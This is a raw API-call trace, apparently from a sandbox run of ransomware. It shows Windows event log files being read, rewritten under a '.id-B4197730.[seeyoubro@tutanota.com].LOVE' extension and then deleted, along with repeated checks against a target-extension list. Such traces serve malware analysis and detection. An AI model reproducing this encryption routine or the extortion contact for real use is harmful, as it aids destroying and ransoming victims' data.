GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0204.667] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.667] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0204.667] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.667] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.667] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0204.668] GetLastError () returned 0x0 [0204.668] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0204.733] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0204.735] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.735] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x12a, lpOverlapped=0x0) returned 1 [0204.735] SetEndOfFile (hFile=0x2d8) returned 1 [0204.736] CloseHandle (hObject=0x2d8) returned 1 [0204.738] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.738] SetEndOfFile (hFile=0x2f0) returned 1 [0204.738] CloseHandle (hObject=0x2f0) returned 1 [0204.738] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.739] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0204.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.740] lstrlenW (lpString=".doc") returned 4 [0204.740] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.741] lstrlenW (lpString=".docx") returned 5 [0204.741] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.741] lstrlenW (lpString=".pdf") returned 4 [0204.741] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.741] lstrlenW (lpString=".xls") returned 4 [0204.741] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.741] lstrlenW (lpString=".xlsx") returned 5 [0204.741] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.741] lstrlenW (lpString=".ppt") returned 4 [0204.741] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.741] lstrlenW (lpString=".zip") returned 4 [0204.741] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.741] lstrlenW (lpString=".rar") returned 4 [0204.741] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.741] lstrlenW (lpString=".bz2") returned 4 [0204.741] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.741] lstrlenW (lpString=".7z") returned 3 [0204.741] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.742] lstrlenW (lpString=".dbf") returned 4 [0204.742] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.742] lstrlenW (lpString=".1cd") returned 4 [0204.742] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.742] lstrlenW (lpString=".jpg") returned 4 [0204.742] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.742] lstrlenW (lpString=".doc") returned 4 [0204.742] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.742] lstrlenW (lpString=".docx") returned 5 [0204.742] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.742] lstrlenW (lpString=".pdf") returned 4 [0204.742] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.742] lstrlenW (lpString=".xls") returned 4 [0204.742] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.742] lstrlenW (lpString=".xlsx") returned 5 [0204.742] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.742] lstrlenW (lpString=".ppt") returned 4 [0204.742] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.742] lstrlenW (lpString=".zip") returned 4 [0204.742] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.743] lstrlenW (lpString=".rar") returned 4 [0204.743] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.743] lstrlenW (lpString=".bz2") returned 4 [0204.743] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.743] lstrlenW (lpString=".7z") returned 3 [0204.743] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.743] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.743] lstrlenW (lpString=".dbf") returned 4 [0204.743] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.743] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.743] lstrlenW (lpString=".1cd") returned 4 [0204.743] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.743] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0204.743] lstrlenW (lpString=".jpg") returned 4 [0204.743] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.743] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.743] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49 [0204.743] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0204.767] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0204.767] CloseHandle (hObject=0x2f0) returned 1 [0204.767] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0204.767] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.767] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0204.767] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.767] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.767] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0204.768] GetLastError () returned 0x0 [0204.768] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0204.794] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0204.796] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.796] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x136, lpOverlapped=0x0) returned 1 [0204.796] SetEndOfFile (hFile=0x2d8) returned 1 [0204.797] CloseHandle (hObject=0x2d8) returned 1 [0204.802] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.802] SetEndOfFile (hFile=0x2f0) returned 1 [0204.803] CloseHandle (hObject=0x2f0) returned 1 [0204.804] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.804] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0204.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.804] lstrlenW (lpString=".doc") returned 4 [0204.804] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.804] lstrlenW (lpString=".docx") returned 5 [0204.804] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.804] lstrlenW (lpString=".pdf") returned 4 [0204.805] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.805] lstrlenW (lpString=".xls") returned 4 [0204.805] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.805] lstrlenW (lpString=".xlsx") returned 5 [0204.805] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.805] lstrlenW (lpString=".ppt") returned 4 [0204.805] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.805] lstrlenW (lpString=".zip") returned 4 [0204.805] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.805] lstrlenW (lpString=".rar") returned 4 [0204.805] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.805] lstrlenW (lpString=".bz2") returned 4 [0204.805] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.805] lstrlenW (lpString=".7z") returned 3 [0204.805] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.805] lstrlenW (lpString=".dbf") returned 4 [0204.805] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.805] lstrlenW (lpString=".1cd") returned 4 [0204.805] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.805] lstrlenW (lpString=".jpg") returned 4 [0204.805] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.805] lstrlenW (lpString=".doc") returned 4 [0204.805] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.805] lstrlenW (lpString=".docx") returned 5 [0204.806] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.806] lstrlenW (lpString=".pdf") returned 4 [0204.806] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.806] lstrlenW (lpString=".xls") returned 4 [0204.806] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.806] lstrlenW (lpString=".xlsx") returned 5 [0204.806] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.806] lstrlenW (lpString=".ppt") returned 4 [0204.806] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.806] lstrlenW (lpString=".zip") returned 4 [0204.806] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.806] lstrlenW (lpString=".rar") returned 4 [0204.806] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.806] lstrlenW (lpString=".bz2") returned 4 [0204.806] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.806] lstrlenW (lpString=".7z") returned 3 [0204.806] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.806] lstrlenW (lpString=".dbf") returned 4 [0204.806] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.806] lstrlenW (lpString=".1cd") returned 4 [0204.806] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0204.806] lstrlenW (lpString=".jpg") returned 4 [0204.806] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.807] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.807] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0204.807] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0204.807] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0204.807] CloseHandle (hObject=0x2f0) returned 1 [0204.807] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0204.807] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.807] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0204.808] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.808] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.808] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0204.808] GetLastError () returned 0x0 [0204.808] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0205.284] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0205.287] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.287] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x14a, lpOverlapped=0x0) returned 1 [0205.287] SetEndOfFile (hFile=0x2d8) returned 1 [0205.287] CloseHandle (hObject=0x2d8) returned 1 [0205.290] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.290] SetEndOfFile (hFile=0x2f0) returned 1 [0205.292] CloseHandle (hObject=0x2f0) returned 1 [0205.292] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.292] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0205.292] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.292] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.292] lstrlenW (lpString=".doc") returned 4 [0205.292] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.293] lstrlenW (lpString=".docx") returned 5 [0205.293] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.293] lstrlenW (lpString=".pdf") returned 4 [0205.293] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.293] lstrlenW (lpString=".xls") returned 4 [0205.293] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.293] lstrlenW (lpString=".xlsx") returned 5 [0205.293] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.293] lstrlenW (lpString=".ppt") returned 4 [0205.293] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.293] lstrlenW (lpString=".zip") returned 4 [0205.293] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.293] lstrlenW (lpString=".rar") returned 4 [0205.293] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.293] lstrlenW (lpString=".bz2") returned 4 [0205.293] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.293] lstrlenW (lpString=".7z") returned 3 [0205.293] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.293] lstrlenW (lpString=".dbf") returned 4 [0205.293] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.293] lstrlenW (lpString=".1cd") returned 4 [0205.293] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.293] lstrlenW (lpString=".jpg") returned 4 [0205.293] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.294] lstrlenW (lpString=".doc") returned 4 [0205.294] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.294] lstrlenW (lpString=".docx") returned 5 [0205.294] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.294] lstrlenW (lpString=".pdf") returned 4 [0205.294] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.294] lstrlenW (lpString=".xls") returned 4 [0205.294] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.294] lstrlenW (lpString=".xlsx") returned 5 [0205.294] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.294] lstrlenW (lpString=".ppt") returned 4 [0205.294] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.294] lstrlenW (lpString=".zip") returned 4 [0205.294] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.294] lstrlenW (lpString=".rar") returned 4 [0205.294] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.294] lstrlenW (lpString=".bz2") returned 4 [0205.294] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.294] lstrlenW (lpString=".7z") returned 3 [0205.294] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.294] lstrlenW (lpString=".dbf") returned 4 [0205.294] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.294] lstrlenW (lpString=".1cd") returned 4 [0205.294] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0205.295] lstrlenW (lpString=".jpg") returned 4 [0205.295] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.295] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0205.295] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47 [0205.295] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0205.295] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0205.295] CloseHandle (hObject=0x2f0) returned 1 [0205.295] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0205.295] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.295] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0205.295] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.295] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.295] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: 